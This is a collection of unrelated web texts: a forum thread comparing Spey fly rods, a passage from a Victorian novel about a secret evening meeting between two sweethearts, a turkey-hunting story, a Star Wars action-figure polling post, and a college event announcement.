BF, it's not whether or not these rods will "do the job OK" but at what price? There are rods on the market at half the price that will do the job better. Why pay more to get less? I'd choose a St. Croix 13' 7/8 over a Sage 7136 brownie at the same money, so why pay two to three times as much? I've spent time with both rods and the St. Croix is a better all around rod, IMHO. The best Sage Catt rod is the 6126 -- that's a decent rod. Stick a 6/7 on it and you're away to the races, but you could spend half as much and still get a rod that is just as good if not better. If somebody is bound and determined to toss $700.00 USD on a rod, then get them to buy a T&T or GLX.
I'm curious if you have had the chance to try any of the Orvis rods ?
I owned the new 13'6" 8/9 briefly as it transitioned from payment for work performed into another Daiwa (a new blue 13'6" - 9 wt.). At the time, my biggest problem with it concerned it being a three piece instead of four. I found the rod to be moderately stiff, but not overly fast on the recovery, and a bit 'numb' as far as response and transmission of info to the casters hands. It felt middle of the pack as far as weight-in-the-hand goes. Casting effort was moderate. Not overly powerful but very serviceable. It was a decent performer for the price and better than some of the high priced rods out there. I'd rate it well in the medium priced brands, ahead of the St. Croix, but behind a Loop Blue. I'd buy it in a heart beat vs. a 7136 brownie or 7141 at even money. I found it equivalent to the new Sage 8136.
Compared to my new blue Daiwa 9 wt., it ain't close -- but then I prefer my sticks on the fast recovery, light & stiff side. You have to be a Loop Green, GLX, or T&T fan to like these new Daiwas.
I think anyone who would buy these new Orvis rods will get value for money and will have a rod that will perform well across a broad spectrum of fishing situations.
Peter, with all due respect to you, especialy on rods and actions, i was merely suggesting some sage's i liked as per spock's preference in manufacturers. there are undoubtedly many cheaper, arguably better rods on the market and i think some fine examples were mentioned by all.
Gillie, all these rods mentioned can certainly cast better than the people holding them (myself included) can make them cast. we have many choices these days and should be thankful for it. the research is more enjoyable than most.
Don't mind me, I just get a bit carried away when the subject of Sage two-handers arises.
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you have a very interesting search in front of you. The spey market has exploded in the past few years and there are so many wonderful rods available. A great deal will depend on what you want from your rod. Do you like fast rods or slower? Do you tend to fish very heavy tips or lighter ones? Do you like to shoot line with a short head or do you want a longer belly? As you will see mentioned on here and other sites you need to take a bunch of rods and lines for some test drives to determine what fits you best. If you haven't cast a two hander before I would recommend you hook up with your local spey guy or find a good casting instructor. Trust me it will save you lots of money and frustration in the long run.
While I now live in BC, I grew up fly fishing the Great Lakes and have some experience with the rivers there. I would agree that you want a rod between 12-14ft that casts a line weight between 6-8wt. If I had to have one rod for the GLs it would be the sage 8136. This rod has some guts and will cover most situations you will encounter. BF mentioned the 7136 which is one of my favourite rods. Unfortunately sage discontinued that rod for this year. If you like slower action rods like me then thats an awesome rod and there are still some around.
All my spey rods are sage. Yes there are tons of rods that are just as good if not better depending on taste but there are many that aren't even close. The reason I buy sage is the incredible customer service that they have given me. Just last fall I broke my 7136 two weeks before a big trip to the Nass. I shipped the rod and called them to explain my situation. For no extra cost they had my rod rebuilt and returned intime for my trip. That and several other experiences like it have made me a sage fan for life. The warranty is not the only reason I use these rods. I think my rods cast very well...and they'd cast even better if I was a more proficient caster.
One direction I would recommend you investigate is the Skagit style. Rio and Airflow are comming out with Skagit lines this year. If you spend most of your time with tips its an amazing way to go. While I have not cast them yet I've been told the new GLoomis rods are amazing. They allow you to throw heavy tips while using sporty little rods that are a blast to fight fish on.
I wish you luck in your search. You will encounter many different opinons that are all very valid. You need to see what fits you.
Out of curiosity, regarding your 7136 -- is it a brownie, greenie, or the new IIIe? What lines do you use on it? What casts do you use? Continuous water loading (Skagit) or conventional D-Loops? Do you tend to use a lot of top hand in your casts with a lot of arm motion?
I'm asking the questions as I'm trying to understand what people see in that rod. The new IIIe isn't a bad rod and if it wasn't so pricey, I might be interested. I find it to be like the new Loomis Dredger series and I've already ordered the Kispiox 7/8. However, I've tried the other two 7136s and found them to be weak, wobbly noodles that have to be underlined before they begin to cast more like a conventional rod. I realize that they were optimized for shooting head work, Skagit style, but apparently, not every 7136 owner uses them this way. Some guys really crank the grains on these rods and I can't figure out how they're able to cast them this way.
To me, a 7136 brownie is a 300 grain rod, max. Last time out with the 7136 brownie, the owner had an SA 7/8 short head on it that just folded it over. We backed it off to a 6/7 short head and we could cast it if we gently feathered it out there, but the 6/7 was maxing it out. If I owned that rod, I'd probably fish it with a 5/6.
Love to see a 7136 affecionado cast the rod properly -- maybe then I'd understand.
I also like the traditional Sages. While I don't have any experience with the 7136 (I do have one for sale in my experienced rod rack), I have fished a lot with the much maligned Sage 9140. This is a greenie and I can cast it better and farther then any rod I've ever fished, I think even better then my much beloved CND Expert 1409 which I really, really, really like. For me the line that makes both the 9140 and the Expert 1409 sing is a Delta 7/8. I am doing normal spey casting (or at least my "wham/bam" version of it) using mostly the Circle C and the Double Spey casts and flies up to 1/0 (mostly #2s). To me both of these 14' rods are a joy to cast and fish.
7136 brownie
my 7136 is the older softer version. It is a very soft noodle that is a blast to fish with. I do not launch huge casts off this rod. I would say it is effective out to 80 feet or so. In the hands of a better caster it could probably fish farther.
I tried a mastery spey 8/9 on it but that was overkill. Now I'm fishing the Midspey 6/7 w tips. This line is a great match for this rod. The only comment I would have is that the type VIII tip is actually an 8 wt. Thus it is a tad too heavy and you can feel it when you cast. This is the line I use for summer fishing. If I was back home in Ont I would consider using a windcutter as I would be fishing more tips.
Although this rod is soft, don't think it has no guts. Last winter I brought some nice winter runs to hand and this summer it subdued a surprise spring that attacted my fly while fishing summer runs.
From my understanding the 7136 was not designed as a shooting head rod. It came out well before that. It is a rod designed for light dry line fishing. The 7136 green (2001) and the following lt brown model were of the same action just a different colour.
When fishing my rod with a midspey I cast in a traditional style using both my upper and lower hands (probably using too much upper hand but I'm working on that). I use a mix of casts: single, double, circle, and spiral speys.
One of my friends Mark McAneeley is a guide here in BC. He was pictured holding a 26lb steelie in the last issue of Flyfisherman. The fish was caught by Lani Waller using Mark's 7136. Mark has the newer 7136 and he was using an Airflow line. He says the newer 7136 launches the Airflow Delta(can't remember the weight).
Like MJC I own a 9140 green that I built. I really like this rod. An 8/9 midspey fishes well on it. This winter I've been using an 8/9/10 windcutter modified to Ed Ward's instructions to create a Skagit line. I have been blown away by the way this outfit fishes. I can only imagine the new GLoomis rods matched up to proper Skagit lines! The 9140 will do it all from summer to winter. Again like the 7136 it is a softer rod. The 9150 is a completely different beast that is much faster. While still considered slow by many it is much faster than most traditional sages. When it comes to big water I love my 9150 but I can see few uses for this rod on the GLs besides the Niagra.
My point is not that Sage rods are the best out there. There are lots of great rods and lots that are cheaper. Just don't rule the Sages out. If I was moving back to Ontario tomorrow my rod of choice would be my 7136. I really wish Sage hadn't discontinued them.
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"Have I ever anything to do?"
"Come and meet me then by the brook, by those alders, below the mill, will you?"
We are standing close together, and he lays his hand on my shoulder in his eagerness, to the amusement of Mary, the housemaid, who, like Jezebel, is "tiring her head" at an upper window. I have not sufficient guile to try and enhance the value of my consent by hesitation, so I say, "Oh yes, how nice; what time?"
"Well, we dine at seven to‐day instead of eight; Coxe is going up to town by page: 222 the night mail, so I can get away a bit earlier: but I'm afraid it won't be much before half‐past eight, that's very late, isn't it? But you know it is daylight till ten now, and then there's the moon."
If there were neither sun, nor moon, nor planet, and only one tallow candle to illuminate our interview, it would not make much difference to me.
"Half‐past eight then?"
Dick has only time to execute a nod, pregnant with meaning as Lord Burleigh's, when Dolly reappears.
"I won't ask you to luncheon, Major M'Gregor, as I know it's no use," says Dolly.
How did she know it? There must have been a little confusion of ideas in her mind, I think. She knew it was useless to offer him any beer, because there was none, and I suppose that was what she meant. Dick feels himself dismissed. He has not the tabouret, or right of sitting on a stool in Queen Dorothea's presence.
"Why, I rather agree with Lancaster, that it spoils one's dinner; and at Coxe's, dinner's no joke, I can tell you; it re‐ requires page: 223 quires the powers of an alderman, and would tax even them. Poor Coxe! He means well, and I suppose it is old‐fashioned hospitality, but it is rather trying. Good morning."
He fires off a look of intelligence at me, which seems to say, "Remember," as plainly as King Charles the First of blessed memory did to Bishop Juxon. I return it by a minute but knowing nod. I feel rather important, and a little dissipated, with the consciousness of a secret assignation on my mind.
"What was it you and Sandy were laying your heads together about, just now? You appear to 'love greetings in the Market Place.' Collins must have been edified," says Dolly, would‐be playfully, but I detect the "clawses at the end of her pawses."
"He was telling me about his passion for Amaryllis, to be sure," reply I, with charming archness; "asking my advice as to Gretna Green and a post‐chaise."
"Nonsense! What was it?"
"Brekkekekkex! Koax! Koax!" I answer, quoting Aristophanes, though with‐ without page: 224 out knowing it; and Dolly, finding that a servile war has broken out, and that I am in a state of open insurrection, desists.
My father's notions of propriety were rigidity's self. A woman's virtue, in his code of les convenances, should be a stiff vestment of buckram and whalebone; he would have liked his daughters' modesty to be inferior only to that of the young lady in "Mr. Midshipman Easy," who affirmed, that to shake hands with a man made a cold shudder run down her back. Shall I not go, then? Stay at home, and mend stockings, and listen to Dolly, "damning" her friends "with faint praise," and regaling me with Rochefoucauld and page: 226 water. What? and leave poor Dick to kick his heels in the damp grass in dress‐boots? No, no; if it is a sin to disobey a parent, it is also a sin to break one's word, and when one must commit one of two sins, one may as well choose the pleasantest.
All the same, you will understand, please, that I liked my father a hundred times better than Dick, and always should. I was not, I think, one of those fiery females, whose passions beat their affections out of the field. And really I don't think that English women are given to flaming, and burning, and melting, and being generally combustible on ordinary occasions, as we are led by one or two novelists to suppose. Foggy England is not peopled with Sapphos.
My thoughts having once travelled to my dad, stayed with him for ever so long. Had he lost any of his pocket handkerchiefs yet? six of them were not marked. Had he remembered his gout, and abstained from port wine? exchanging the cuisine of Lestrange for that of any other house, was, to a human creature, page: 227 what being turned into a field of deep clover, after having been regaling on half‐a‐dozen bents is to a cow. Is he having a little rest from his burdens, a little time to gather up strength, and fortitude, and endurance. He had told us not to forward his letters to him, and indeed, when I looked at their big blue envelopes and the character of their superscriptions, I did not wonder at his not being in any hurry for a better acquaintance with them. I determine to write to him; I don't write a letter once a quarter, so it is a work of some labour.
"Darling Dad,"
"It seems such a long time since you went, I can hardly believe that it was only yesterday; I hope you'll come back soon, at least I mean I hope you won't if you find it pleasant where you are. I hope they make a great fuss with you; not so much as I do, I'm sure! Dolly is come back. She looks very well, and has got a whole heap of new clothes; she is about as pleasant as usual. Sir Hugh page: 228 Lancaster was here this morning; he came over to talk to you about the dwarf espaliers. (I had to look in the dictionary to see how espaliers spelt itself.) He seemed quite disappointed to find you out, and pronounced the French names almost as badly as you do. Major M'Gregor, the man you did not like, was here too. The cob is very well, and so are all the fowls, except the hen with the top‐knot, which has broken her leg tumbling down the ash hole. I don't think I have anything more to tell you, except that I send you twenty kisses and a great deal of love, and that
"I am always,
"Your most loving NELL."
Tea in the kitchen at Lestrange seems a jovial meal; at least to judge from the peals of laughter that even through the double doors reached our ears now and then. I believe that Collins is humour itself, in unofficial hours, and Hann of great worth in repartee. Tea in the dining‐room is a silent feast; Dolly is buried in thought, and makes only one remark.
"I think you said that Sir Hugh was at page: 229 luncheon here the day before yesterday, didn't you?"
As the time for my dereliction of duty draws near, I "wash and anoint myself, and change my raiment," or rather, as the fashion of oiling oneself like a machine is not prevalent in these Western regions, I confine myself to the other two. Then I steal through the garden door, and fly through the pleasure grounds, with as much velocity as if I had been projected from a cannon's mouth; ventre à terre I go, till I reach the fir wood. Not a breath of air! Every wind from Boreas to Zephyr is asleep in its cave, like bears page: 230 in winter; and yet—how they manage it I don't know—there is the same little gentle sighing in the fir tops that there always is; they must do it themselves without the wind, it must be their "song of love and longing," like Shawondasee's to the dandelion in "Hiawatha."
As I cross the threshold of Nature's solemn little pine temple, I drop into a respectful walk, as men take off their hats when they enter a church. On emerging from the wood, coming out of church, I see cavalry in the distance.Courage! I'm not first at the trysting place to‐day. I perceive the cavalry before it perceives me, as it is manœuvring among the alders. Is not it humorous of me calling my lover it; as humorous as Mr. Peter Magnus signing himself "Afternoon."
I come tripping bashfully over the buttercups and the meadow sweet, which are washing their faces before going to bed, and are so obliging as to wash my ankles too.
"I was afraid Sir Hugh had come to see some more pear trees," says Dick, with page: 231 a smile, and drawing a breath of relief as we meet.
I feel a boundless capacity for impertinence unfolding itself within me.
"Yes, indeed, there would not have been much chance for you then; he's a 'baronite,' and you are 'a shade or two wus,' as you must allow; but fortunately for you, I don't think his dear mamma would let him come out so late at night for fear of getting his feet wet."
"As you are yours," says Dick, looking down at my boots, which are all shiny with the dew. "Is he coming to‐morrow then?"
"Perhaps so; who knows what luck is in store for one?"
"He seems to bestow a good deal of his company on you; how long is it since he was at Lestrange last?"
"The day before yesterday," reply I, readily.
"Humph! cannot understand a fellow making himself so much at home in another man's house, a man might as well keep an inn."
"Who was it?" inquire I, with the air page: 232 of a person desirous of information, "who was it that came to call at Lestrange with Mrs. Coxe yesterday, and by himself today, have you ever happened to hear of such a person?"
We are walking along slowly side by side, past, the alder bushes, further down the brook, where we need not stand in awe of the miller and the milleress's espionage. Dick has got a light overcoat over his dress clothes, which are very plain; no embroidered shirt‐front or jewelled studs. Dick is twenty‐seven and has passed the jewelled age, which is as regular a period in the history of man as the wood, the bronze, and the iron, are in geology.
"I'm different," says Dick, gravely.
"Are you?" ask I, looking up naïvely. Next minute I am sorry I said it, for I see that he is vexed.
"If you don't see it, of course it is not so," he answers, coldly, and sticks his nose up in the air, and looks as tall as a steeple.
"I do see it, of course; in the first place you are twice the size of him; he is such a page: 233 dear little duodecimo edition of a man, I could rest my chin on the top of his head with the greatest ease imaginable."
Dick's nose descends from the clouds, and he passes his arm around me. "I'll go down on my marrow‐bones before you, and then you can do the same to me; it is a nuisance, being such a lumbering great brute, nobody ever gives you a mount."
We have reached a spot where, two month ago, a great girthed oak spread its arms to the air and its roots to the stream. Where it stood, there it lies now; all along by its friend, the brook, that sings a little pretty dirge for it. We have had to cut down every stick of timber on the property; every stick, except trees as valueless as the hollow elms in the avenue, that are too old even to make paupers' coffins.
"Let us sit down, Nell," says Dick. "I think we may defy the eyes of the mill now, and I don't suppose they've got opera glasses."
"It's to be hoped not," I say, laughing; "I shall have to run the country if they have;" which being interpreted means page: 234 that both Major M'Gregor's arms have disposed themselves around me now.
"I never thought I was given to jealousy before—I always thought Othello the biggest fool out," he says, while the honest gray eyes look rather wistfully into mine, and I see myself reflected in the dark pupils; "but I don't know, I don't feel easy about that fellow, somehow; why do you plague me about him?"
"How should I know it would plague you?" I ask very gaily. "You seemed such very dear friends to‐day, 'my dear fellow'ing and 'old boy'ing ' each other, that I thought you would be pleased to hear that he was a dear friend of ours too."
"I knew him in India; all through the Mutiny with him; he is the deadest shot I ever clapped eyes on. They used to get him to pick off those black devils; he bagged a good deal of black game!"
"Were you great friends, then, really?"
"Oh average! we always hit it off very well; he is a very good straightforward fellow, though he won't set the Thames on fire; he can ride a bit too; and he has page: 235 got a modest competence of something under £30,000 a year; that covers a multitude of sins."
"I suppose it does; I wonder what it feels like?" I say with curiosity.
"Do you know, Nell"—says Dick, and I see his wide white forehead oddly white, when contrasted with the brownness of the rest of his face, contracting a little as with some pain—"do you know, Nell, I have not sixpence to bless myself with; that I am as poor as Job?"
I nod. "Yes; I know!"
"Who told you? Lazarus' reputation precedes him apparently!" (Very sharply.)
"How on earth did you find out then? do I look poor? is pauper written on my face?"
I rub my cheek gently against his shoulder.
"I felt sure you were poor; nice people always are! rich men are always short, and old and ugly." (I am thinking of the one Dives of my acquaintance.) The sun is dead, but has left half his beauty behind page: 236 him; at the mere memory of him, the whole western sky is a‐flame, there are no watery lilac tints streaking the rich crimson that faints away into pale clear gold and dusky blue. "And at evening ye say it will be fair weather to‐day, for the sky is red." The rosy flush is catching at the tops of the churchyard yews, and striking up along the old gray tower like a thought of heaven in a weary life. At our feet, the little burn goes wimpling down to the distant river; a small swift current in the middle, and under the bank little amber pools, where the tiny baby fish can shelter their semi‐transparent bodies from the sun. The big ones are swaying their slender bodies 'gainst the stream, which has force to make the "lush green grasses" on its banks bend downwards with it, long and drenched like the hair of a drowned maiden.
"I suppose," says my impecunious Plunger, rather dolefully, looking down and tugging at the ends of his moustache, which are not waxed, "I suppose, if I had done what was right and honourable, I should have sheered off as soon as I page: 237 found I was getting hit; but it's an awful grind doing one's duty. If it would but lie in a pleasant direction for a change, it would have more chance of having some attention paid to it; and I really did like you so much, Nell, that, duty or no duty, I had to tell you so. By‐the‐bye, what does your sister think about it?"
"Think about what?"
"About you and me."
"I don't know what she thinks about me, I'm sure; nothing particularly flattering, I fancy. But she thinks that you must be engaged to Amaryllis Coxe; at least, she said so this morning."
"To Amaryllis! God forbid!" says Dick, fervently. "I'd rather a millstone were hanged about my neck, and that I were drowned in the depths of the sea. By‐the‐bye, Amaryllis, or Ammy, as her sisters tersely call her, is not unlike a millstone either in weight or shape. Your sister put the saddle on the wrong horse that time, didn't she?"
"She was so positive about it, too, that I thought I must have made some mistake. I was beginning to make up my page: 238 mind that I must look out for a fresh situation."
"I see. That partly accounts for the pear trees; a Roland for my Oliver; a Lancaster for my Amaryllis. But seriously, Nell, doesn't she see how the land lies? I should have thought that it did not require spectacles."
"There's none so blind as them as won't see," I reply, oracularly.
"And you did not tell her?"
"Not I; I never tell her anything."
Dick looks puzzled.
"That was it, I suppose, then. I thought, of course, that you knew all each other's secrets—my sisters always do." (Dick has not realized the fact that there are sisters and sisters.) "So I began to say something about you to her this morning, and she shut me up rather; did not seem to know what I was driving at, you know; began to speak of something else."
The flush is dying out of the sky's cheek; the remembrance of the dead sun is growing faint as the memory of the human dead weakens beneath the weight page: 239 of the crowding years; the buttercups have gone to sleep, each with his little cup full of dew; and the cows are making up for the time they wasted at noon, when they stood knee‐deep in the brook, and combated the flies, by feeding now as if for a wager; we hear their short quick bites in the evening stillness; and the stream goes whispering on, carrying little sticks, and green leaves, and fallen cherry blossoms from the mill orchard higher up, as a present to the gray distant sea.
Dick's and my hat are making each other's acquaintance at our feet, and the rising moon is turning our respective red and yellow chevelures silver, as the old bugbear with the scythe will do for us by and bye, if we wait patiently. I don't believe that Dick will ever be an old man. I cannot fancy him with his handsome mouth fallen in, and his handsome eyes melted out; cannot picture him hobbling about in a list shoe, mumbling his dinner with the wrecks of those strong white teeth, and having to be roared at before he can hear what is said to him.page: 240
"Do you ever read poetry, Nell?"
"Oh, yes; very often. I have read 'Lara,' and 'We are Seven,' and the 'Lord of Burleigh,' and the 'Needy Knife Grinder,' and 'Samson Ago—Ago—something,'" reply I, glibly.
"What has that to say to it?" inquire I, wondering what put that indelicate and irrelevant couplet into his head.
He pinches my cheek.
"Nothing; only I thought that your pieces of poetry seemed to have about as much relationship to one another as those three elderly gentlemen."
"You asked me what I had read, and so I told you," I say, rather injured. "It is not my fault that they are not related to one another, any more than it is page: 241 that you are not related to the great Mogul."
"It was very rude of me," apologizing, though the offending smile still lurks. "Tell me something else about your studies, and I'll swear to be as grave as a judge."
"There's nothing to be told about nothing," say I, with chagrin. "Papa knows everything; Dolly knows most things, and I know nothing. That's the state of the case. You thought it fair to tell me that you had no money, and I think it fair to tell you that I have no learning and no brains to get any."
I turned away my head, and the tears, always within hail in my case, come stealing into my eyes.
"I don't believe the last, and I don't care a straw about the first," says Dick, putting his hand under my chin, and bringing my rueful countenance round within reach of his eyes.
"Perhaps—perhaps—" say I, still rather lachrymosely, and making the remark to his shirt‐front, on which I have been good enough to deposit my rough, chestnut head, page: 242 "perhaps you'll try and teach me something. I asked Dolly once, but she would not."
Dick laughs and strokes my hair.
"I! I can teach you the platoon exercise, and how to make cartridges, and shall be very glad to do either if you think they would help you; but I don't think that my capabilities go much further."
The church clock strikes ten; tells the dead people that they are an hour nearer their release—so clearly and sweetly each beat comes sounding over the quiet land. I resume the possession of my own head, and jump up.
"I must go home, else I shall be locked out."
"There would be the devil to pay, then," says Dick, standing up, too, and stretching like a big Newfoundland.
"I shall be late for prayers as it is, and I always read them."
"Oh, you can read, can you, ma'am?"
"Yes, I can manage anything under five syllables."
"Why does not Miss Lestrange act page: 243 parson? You seem to have no idea of the rights of primogeniture."
"Dolly does not like prayers. She says that they are a great farce, and that she cannot see why, if a person wants to say his prayers, he cannot say them to himself, without dragging in all the household to help him."
"They'll have a holiday from family worship at Lestrange to‐night, then, I take it."
"Yes, sure to. Well" (with a long sigh), "it has been very pleasant. Good night."
"I'm willing to bid you good night any number of times, but if you think you are going to get rid of me here, you are mistaken. It's Lancaster's turn now. How do I know that he may not be dodging round the corner somewhere?"
So we stroll away together from the silvered sedges, and the poor barked tree, and the spot where we have been doing our best to lay in a stock of rheumatism, and swelled joints, and shooting pains for our riper years, the pennilessest, improvidentest, happiest pair of sweethearts in page: 244 Great Britain. Walk as slow as we may, and no tortoise can beat us, ten minutes bring us to the parting gate. There we pose ourselves in the attitude of the famous "Huguenot" picture.
"I don't think you can come to much grief, Nell, between this and the Hall door. Good night, my darling. You are my darling, and not Lancaster's, aren't you? God in Heaven bless you!
"Yours, if you'll have me; if not, nobody's," I say, very earnestly; and then we kiss each other twenty times, where we first kissed, beneath the big white lilac bush.


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I went out last Saturday with a buddy to a place he'd located some turkeys earlier in the week.
We arrived at the first spot right as the turkeys were flying down, and boy, they were everywhere. They had roosted in small batches spread out over a creek bottom and we counted at least 20, but couldn't be sure. We heard plenty of yelping and kee-keeing and clucking and carrying on as they were trying to join up together.
They all got together before we could get into good position, and so we tried to swing around and call the whole bunch up intact. We had a couple of them come up like they often do in the fall and stay just out of sight/range and try to cluck you over to them, but then hurried off and disappeared without us getting a bead on one.
So, we tried to reposition for a possible bust, but had trouble relocating them. And then here came the dogs from the neighboring property running deer, and messed up our strategy. With that bunch of turkeys stirred up and seeking refuge from the dogs in trees, we decided to leave the area and let things settle down.
At spot #2, we split up to go different ways, and I quickly ran into a few turkeys in the trees. One, two, then three turkeys came out of the trees, so I decided thoroughly prospect the area for a bit. Once again I heard a dog -- this one was somebody's yard dog out having fun chasing stuff. After about 30 mnutes of slowly working the area, I had one answer me, and soon was headed my way. I sat down for some action, but once again, the bird (a mature hen) came up to just out of sight/range, and tried to cluck me to her. And once again, I couldn't close the deal. I had my safety off and caught a glimpse of her wing speculum as she made a couple quick back and forth short swings about 30 yds away and was wishing those woods weren't quite so thick. But she disappeared and couldn't get any more action in that spot. In the meantime my buddy didn't find any birds.
So, off to spot number three where we saw two gobblers on the edge of the woods. We hurried to try to get into position from the other side of the woods, and set up and tried to work them in for an hour and a half or so. But they didn't come, and we didn't see them again. So we prospected the area a bit more but came up empty, other than yet another turkey in the trees.
By now it was mid afternoon so we decided to go back to the first place we'd found the turkeys first thing in the morning. We split up and worked opposite sides fo the creek knowing we had deer dog-scattered turkeys from this morning in the area.
After about 45 minutes of slowly working, I had one answer me. So I sat down in a decent spot and had her coming my way. I was right below a ridge about 40 yds to my left with the bottom sloping to my right. And I had the sun directly to my back. I thought I was in good shape. It sounded like she was coming right down on my side of the the ridge straight to me. I just knew I had a turkey in the bag. And right about the time I figured she should about be in range, I heard some rustling in the leaves behind some little hollies, down a little to the right of where I had my gun pointing.
So, I slowly swung my gun over there, and then all heck broke lose directly behind me. I heard wings and putting and flapping and cackling and branches being hit by turkey wings and all sort of obscene racket. And that blew my mind. But then I realized that there was still a turkey putting and purring at me back there. So apparently there had been more than one turkey, and instead of coming straight to me, they had swung just over the ridge as they approached and then came up directly behind me with the sun to their backs. Well, since this little gig was now up, I had to decide quickly what to do now. So, I thought maybe the turkey that was still there never actually saw me, and I slowly rolled over to my left side straining my eyes against the sun to try to see it. Well, when I did that, the turkey saw me first, but made the mistake of pausing to get a better look at me as she was running off.
I was toting my 28 gauge CZ again, and stepped the bird off (twice) at 44 yds. She never flopped once. Never even quivered. That's two out of 4 birds I've killed in the last 12 months with that gun and load (1-5/16 oz TSS 9s, 1000 fps) that have done that.
And as I was tagging the bird and starting to make my way out, I heard my buddy shoot back over his side of the bottom a few hundred yards away.
With no tags left, it was a fun way to end the fall season this year.
Can't wait till spring....


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MadSlantedPowers devised a great polling thread concerned with which characters from the OT and PT are most needed in the Hasbro 3 3/4" action figure line.
After discussing it with him, I learned he did not plan on going into the Expanded Universe.
I've always viewed the EU as the only potential future for the figure line beyond re-carding and gimmicking all the regular essential figures from the movie line (vintage-style cardbacks, light-up lightsabers).
So I took inspiration from MSP's polling thread and created this one. I am borrowing some of his introductory language below.
(paraphrased from an original post by MadSlantedPowers)
Here is the premise. Assume a new line of Star Wars figures is being made. This could be now, or possibly in the distant future after the current line has died out, or perhaps you have travelled back in time to 1995 and could decide which EXPANDED UNIVERSE figures should be made. In either case, which EXPANDED UNIVERSE figures should be made? Imagine that they would be ultimate versions that would never need to be remade. This line will include any REALISTIC versions of characters offered in comics, books, video games, animation, and role playing games.
I have made a separate thread here for Clone Wars figures in the animated style:
20 Clone Wars Animated Style Figures You Wish Hasbro Would Make Before They End The Line
Note that the linked thread is for a continuation of the existing line and not starting over and replacing armored Obi-Wan Kenobi or Cad Bane, whom we already have figures of.
Voting for those characters here, or the cruise missile trooper, Ewok or Droids or Holiday Special Cartoon figures, will be counted as a vote for realistic versions of those characters. And if you deem them essential, realistic figures of Ahsoka and Hondo Ohnaka are elligible here if you think Hasbro should replicate their offerings in the animated line.
But do tend to think about what characters most easily interact with the existing realistic movie figure line, such as Grand Admiral Thrawn commands stormtroopers and faces Jedi Knight Luke Skywalker - figures who are obviously going to be available to us in the movie line.
It would probably be a good thing for Hasbro to sell EU characters that can interact well with all their other figure product offerings. But the final voting choice is up to you.
MadSlantedPowers is taking his Essential Movie Character List up to 144 figures by his conclusion of things.
I'll take the EU up to only 25% of that, or the 36 most necessary EU characters, letting you all vote for any you'd like in 3 rounds of 12.
So here goes.
List your first 12 most essential EU figures to be offered in the realistic format.


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Hope junior and senior women have the opportunity to participate in the third annual "Professional Women's Networking Reception" on Wednesday, Feb. 26, from 5:15 p.m. to 6:30 p.m. in the Etheridge Room of the Haworth Inn and Conference Center.
The event is being held in conjunction with the college's 19th annual Women's Week. The reception is a time for the students to meet with women from a variety of different careers, find out what it is like to work in those fields and practice networking skills.
Women's Week is a celebration scheduled in recognition of women, and this year's focus is "Seeking Solidarity: Revisioning Our Roots." The two-week event will continue through Friday, March 7, and is scheduled to coincide with national Women's History Month, which is March.
The "Professional Women's Networking Reception" is co-sponsored by the "I.VE League" student group. I.VE League focuses on the development of leadership skills and learning about the roles of women in the community. Founded in 1992, I.VE League was named in honor of Isla Van Eenenaam, former dean of women at Hope.